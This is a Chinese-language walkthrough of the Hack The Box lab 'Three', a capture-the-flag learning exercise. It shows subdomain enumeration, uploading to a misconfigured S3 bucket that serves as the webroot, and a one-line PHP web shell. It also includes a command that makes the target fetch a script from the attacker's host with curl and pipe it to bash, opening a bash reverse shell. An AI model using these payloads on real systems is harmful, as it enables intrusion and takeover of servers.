Hack The Box-Three

Introduction

在信息收集过程中,使用 gobuster 爆破子域名,发现该网站使用 AWS S3 bucket作为其云存储设备。利用配置不当的 S3 bucket,上传后门到网站根目录。在本地主机编写一个反弹shell脚本,启动一个 Web 服务器并开启一个监听端口。然后浏览器访问相应的 URL,让目标主机获取并执行反弹shell,最终获取目标主机的控制权。

Write-up

首先,nmap扫描开放端口:

sudo nmap -p- --min-rate 1000 -sV 10.129.160.174

发现操作系统是Linux,有两个端口开放:22(ssh)和80(http):

访问 http://10.129.27.203 :

contact页面发现一个子域名:

通常,不同的子域名会对应不同的 IP 地址。但是也可以由同一台服务器处理多个子域名。这种情况下,服务器通过 HTTP 请求中的 Host 头来确定应该由哪个应用程序处理该请求。现在我们有域名thetoppers.htb ,接下来尝试寻找同一服务器的其他子域名。

主机在向 DNS 服务器查询前,会先检查本地 hosts 文件中是否已存在目标主机名的映射关系。所以我们首先需要通过 /etc/hosts 将 thetoppers.htb 手动映射到靶机的 IP 地址:

echo "10.129.27.203 thetoppers.htb" | sudo tee -a /etc/hosts
  • gobuster
    • 基本用法:
      1. 目录爆破:gobuster dir -u http://example.com -w /path/to/wordlist.txt
      2. 子域名爆破:gobuster dns -d example.com -w /path/to/wordlist.txt
      3. 虚拟主机枚举:gobuster vhost -u http://example.com -w /path/to/wordlist.txt
      4. S3 存储桶枚举:gobuster s3 -w /path/to/wordlist.txt
      5. 自定义头部:gobuster dir -u http://example.com -w /path/to/wordlist.txt -H "Authorization: Bearer TOKEN"
    • dns 模式只能通过 DNS 记录来发现子域名,如果目标服务器没有配置 DNS 记录,或者目标子域没有公开的 DNS 记录,那么使用 dns 模式就无法发现这些子域。
    • vhost 模式通过尝试发送多个带有不同 Host 头的 HTTP 请求来模拟访问不同的虚拟主机,目的是查找由同一 IP 地址托管的多个虚拟主机(子域)。

接下来使用 gobuster 爆破子域名:

gobuster vhost -u http://thetoppers.htb -w Desktop/fuzzDicts/subdomainDicts/main.txt

结果显示存在一个名为 s3.thetoppers.htb 的子域名,在 /etc/hosts 文件中为此子域名也添加一个条目:

echo "10.129.27.203 s3.thetoppers.htb" | sudo tee -a /etc/hosts

访问这个子域名:

Amazon S3 是一种基于云的对象存储服务(OSS),它使用 buckets 作为存储容器,类似于文件夹。使用场景包括备份和存储、媒体托管、软件交付、静态网站托管等。我们可以借助 awscli 与 S3 buckets进行交互。

首先,设置其所有字段为任意值:

使用 ls 命令列出服务器托管的所有 S3 buckets:

aws --endpoint=http://s3.thetoppers.htb s3 ls

然后查看指定 bucket 内的对象和公共前缀(PRE,类似文件夹):

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

在 thetoppers.htb 这个bucket内,我们看到了一个名为 /images的文件夹,一个.htaccess(Apache 服务器的配置文件)和一个index.php,这符合网站根目录的文件结构。

awscli 允许上传文件到 S3 bucket,我们随意上传一个文件作测试:

aws --endpoint=http://s3.thetoppers.htb s3 cp Desktop/hash.txt s3://thetoppers.htb

浏览器访问 http://thetoppers.htb/hash.txt:

发现上传到 S3 bucket的文件成功在浏览器上被显示出来了,由此分析该S3 bucket被用作网站的 webroot。根据这个漏洞,我们可以上传后门,获取网站的控制权。

我的Wappalyzer没分析出来网站用的什么编程语言,官方题解说是 PHP 。于是写一个 php 一句话木马:

<?php system($_GET["cmd"]); ?>

写入 shell.php 文件:

echo "<?php system($_GET["cmd"]); ?>" > shell.php

上传 shell.php:

aws --endpoint=http://s3.thetoppers.htb s3 cp Desktop/shell.php s3://thetoppers.htb

这里在浏览器访问文件失败。查看 shell.php,发现文件内容变为:

<?php system(); ?>

原因是 shell 对双引号内的内容会进行变量解析,而 $_GET["cmd"] 被解释为一个尚未定义的变量(空值)。解决办法是将双引号改成单引号,单引号内部的内容不会被解析,因此可以正确保留 $_GET["cmd"]

echo '<?php system($_GET["cmd"]); ?>' > shell.php

尝试使用 URL 参数 cmd 执行 OS 命令 id :

http://thetoppers.htb/shell.php?cmd=id

证明已经成功上传后门。接下来就要想办法获取目标主机的控制权。

在实际场景中,很多内网机器并没有对外开放的端口供连接。而且目标主机通常位于受防火墙保护的内网环境中,无法直接通过正向连接访问。但目标机器可以主动发起出站连接,因为出站流量通常允许通过防火墙。这时就要用到反弹 shell 了。

创建一个 shell.sh,使用[~]#棱角 ::Edge.Forum*一键生成(一开始用的nc,失败了):

bash -i >& /dev/tcp/10.10.16.8/8888 0>&1

本地主机开放8888端口监听:

nc -lvp 8888

在本地主机 8000 端口上启动一个 Web 服务器:

python3 -m http.server 8000

在浏览器上使用 curl 命令从本地主机获取 shell.sh,然后将其通过管道传输到 bash 以执行它:

http://thetoppers.htb/shell.php?cmd=curl 10.10.16.8:8000/shell.sh|bash

成功下载:

监听端口显示连接成功,找到flag:

Conclusion

在这次靶场练习中,最大的收获是实际操作了以前学过的知识,比如上传后门和反弹shell。除此之外,又认识了一个渗透神器 gobuster,还了解了OSS,之前只听说过,但是没遇到过。在整个过程中,相对于以前的刷题过程,我多了些思考,并通过Chatgpt解决了疑惑,但是对一些命令还是不够熟练,以后再接再厉。